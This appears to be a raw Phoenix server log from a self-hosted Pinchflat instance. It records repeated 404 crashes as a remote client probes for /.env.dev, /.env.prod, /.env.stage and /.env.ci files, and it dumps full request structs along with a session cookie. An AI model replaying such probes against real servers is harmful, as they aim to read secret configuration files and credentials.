"pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3324.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6EuwL2S3VoQAAQTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:07.551 [info] GET /.env.prod 02:10:07.551 [debug] QUERY OK source="settings" db=0.2ms idle=344.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.551 [debug] QUERY OK source="settings" db=0.1ms idle=226.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.551 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.552 [error] #PID<0.3325.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 21) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3325.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6FIfHv0d1vEAAQUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:07.660 [info] GET /.env.stage 02:10:07.661 [debug] QUERY OK source="settings" db=0.2ms idle=335.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.661 [debug] QUERY OK source="settings" db=0.1ms idle=217.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.661 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.661 [error] #PID<0.3326.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 22) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.stage ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3326.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.stage", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Fiqt0Iy8S8AAQVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stage", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, hos (truncated) 02:10:07.785 [info] GET /.env.ci 02:10:07.786 [debug] QUERY OK source="settings" db=0.2ms idle=341.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.786 [debug] QUERY OK source="settings" db=0.1ms idle=234.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:07.786 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:07.786 [error] #PID<0.3327.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 23) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.ci ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.ci", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3327.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.ci", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6GAdH_R4fXAAAQWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: 